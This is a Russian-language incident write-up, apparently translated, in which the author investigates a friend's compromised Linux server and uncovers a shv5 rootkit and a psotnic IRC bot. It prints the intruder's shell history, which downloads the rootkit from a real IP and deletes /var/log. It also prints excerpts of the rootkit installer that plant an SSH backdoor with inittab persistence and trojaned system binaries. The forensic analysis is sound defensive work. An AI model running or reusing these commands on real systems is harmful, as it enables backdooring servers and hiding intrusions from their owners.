Праздничный взлом №1

В один из дней мой друг попросил
посмотреть его Linux-сервер. "Его поведение
несколько странно", - сказал он, самый
заметный глюк состоял в том, что сервер Apache
не запускался. Однако в конце концов
вылилось это в нечто большее..

У меня уже был аккаунт на сервере, так что
я сразу приступил к исследованиям. Первое
же, что я заметил, было странное поведение ls:

lars@server1:~$ ls
ls: invalid option -- h
Try `ls --help' for more information

Довольно странно. Почему ls применяет -h
неправильно? У меня был алиас для ls, так что
я отвязал его, и он заработал нормально:

lars@server1:~$ alias ls
alias ls='ls -sh --color=auto'
lars@server1:~$ unalias ls
lars@server1:~$ ls
backup
lars@server1:~$

Странно. Я решил заняться этой проблемой
позднее, а пока поднять Apache:

lars@server1:~$ sudo /etc/init.d/apache2 start
Password:
* Starting apache 2.0 web server...
(2): apache2: could not open error log file /var/log/apache2/error.log.
Unable to open logs
...fail!

Ну и..? Быстрый поиск в /var/log/ показал, что на
самом деле каталог apache2 отсутствует, но все
остальные типичные директории типа mysql, exim4,
samba и т.д. так же отсутствовали. Нечто на этом
сервере было не так. Неужели мой друг по
ошибке все удалил? Он клялся, что нет. Я
вошел под рутом, чтобы поправить
каталоги:

lars@server1:~$ sudo su -
Password:
root@server1:~# ls
ls: unrecognized prefix: do
ls: unparsable value for LS_COLORS environment variable
total 44
4 . 4 .bashrc 4 .ssh
4 .. 4 .lesshst 8 .viminfo
8 .bash_history 4 .profile 4 .vimrc

Опять проблемы с ls? Снова алиас:

root@server1:~# alias ls
alias ls='ls -sa --color=auto'
root@server1:~# unalias ls
root@server1:~# ls
root@server1:~#

К этому времени я начал подозревать, что
неправильное поведение сервера связано со
взломом - странное поведение ls и отсутствие
каталогов в /var/log/ свидетельствовали именно
об этом. Мои подозрения подтвердились, когда
я просмотрел .bash_history:

root@server1:~# cat -n .bash_history
...
340 w
341 cd /var
342 wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
343 tar -zxf shv5.tar.gz
344 rm -rf shv5.tar.gz
345 mv shv5 .x
346 cd .x
347 ./setup zibi.joe.149 54098
348 passwd
349 passwd
350 ps aux
351 crontab -l
352 cat /etc/issue
353 cat /etc/passwd
354 w
355 who
356 cd /usr/lib/libsh
357 ls
358 hide +
359 chmod +x hide
360 hide +
361 ./hide +
362 cd /var/.x
363 mkdir psotnic
364 cd psotnic
365 wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
366 tar -zxf psotnic0.2.5.tar.gz
367 rm -rf psotnic0.2.5.tar.gz
368 ls
369 mv psotnic-0.2.5-linux-static-ipv6 synscan
370 ./synscan
371 vi conf
372 vi conf1
373 mv synscan smbd
374 smbd -c conf
375 ls
376 ps aux
377 ls
378 ./smbd -c conf
379 ./smbd -c conf1
380 ./smbd conf
381 ./smbd conf1
382 ./smbd -a conf conf1
383 rm -rf conf.dec
384 rm -rf conf1.dec
385 cd /usr/lib/libsh
386 ./hide +
387 exit
...
425 ssh ftp@62.101.251.166
426 w
427 ls
428 ls
429 cd /var/.x
430 ls
431 cd psotnic/
432 ls
433 rm -rf /var/log/*
434 exit
435 ls
436 cd /var/.x/psotnic/
437 ls
438 vi conf2
439 ./smbd -c conf2
440 ./smbd conf2
441 ./smbd -a conf conf1 conf2
442 rm -rf conf2.dec
443 cd ..
444 ls
445 cd /usr/lib/libsh
446 hide +
447 ./hide +
448 exit
449 ps aux
450 cd /var/.x
451 ls
452 ls
453 cd psotnic/
454 ls
455 cat pid.MastaH
456 kill -9 2030
457 ./synscan -a conf conf1
458 ./smbd -a conf conf1
459 cd /usr/lib/libsh
460 ./hide +
...

Так и есть. Сервер был взломан! Я находил
все это достаточно занимательным, но мой
друг так не считал. Нападающий сделал одну
элементарную ошибку, не очистив .bash_history, но,
вероятно, это не единственная его/ее ошибка.
Давайте займемся расследованием.

Во-первых. Что скрывается в /var/.x/ и что
делает команда setup zibi.joe.149 54098?

root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
# C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Теперь ясно, что этот маленький скрипт
сыграл немалую роль - он установил ssh-бекдор
как /bin/ttyload, который затем прописался в /etc/inittab
для автоматического запуска после
перезагрузки:

mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2
echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

К тому же, он пробекдорил несколько
стандартных команд Linux:

# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP
...
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls

Теперь стало ясно, почему не запускался
мой ls!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x 1 root root 126276 Dec 24 22:58 find
-rwxr-xr-x 1 root root 59012 Dec 24 22:58 ifconfig
-rwxr-xr-x 1 root root 77832 Dec 24 22:58 ls
-rwxr-xr-x 1 root root 30388 Dec 24 22:58 md5sum
-rwxr-xr-x 1 root root 99456 Dec 24 22:58 netstat
-rwxr-xr-x 1 root root 65492 Dec 24 22:58 ps
-rwxr-xr-x 1 root root 14016 Dec 24 22:58 pstree
-rwxr-xr-x 1 root root 50180 Dec 24 22:58 top

И посмотрите на время. Сделано это было в
Рождество!

Ясно, что оригинальный и
новоустановленный ls различны, это показали
и контрольные суммы:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675 /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d /bin/ls

root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux
2.0.0, dynamically linked (uses shared libs), for GNU/Linux 2.0.0, stripped

root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.6.0, dynamically linked (uses shared libs), for GNU/Linux 2.6.0,
stripped

Бекдор sh5.tar.gz был скачан так (копию его вы
можете скачать тут):

root@server1:~# dig +short -x 83.19.148.250
4lo.bydg.pl.

Я не мог много сделать с этим сайтом, так
как он был польский. Я полагаю, и напавший
хакер не имел никакой с ним связи, не дурак
же он - но он опять допустил несколько
важных ошибок.

Вывод команды setup вы можете видеть на
скриншоте (я запустил его в "песочнице"
дома на своей машине):

Ок, виден zibi.joe.149 - пароль, 54098 - порт. Он
использует старую версию sshd с ssh.com, что
видно на следующем скриншоте:

Бекдор установлен. Следующим шагом хакера
будет установка irc-бота и превращение сервера
в зомби. Вот что и содержал psotnic0.2.5.tar.gz.
Атакующий извлек его из архива и
переименовал бота в smbd, типичное название
для демона Samba.

Дальше он создал два конфигурационных
файла, которые содержали записи об irc-сервере
и канале. Конфиги затем зашифрованы и
текстовые файлы удалены.

371 vi conf
372 vi conf1
....
378 ./smbd -c conf
379 ./smbd -c conf1
380 ./smbd conf
381 ./smbd conf1
382 ./smbd -a conf conf1

Продолжение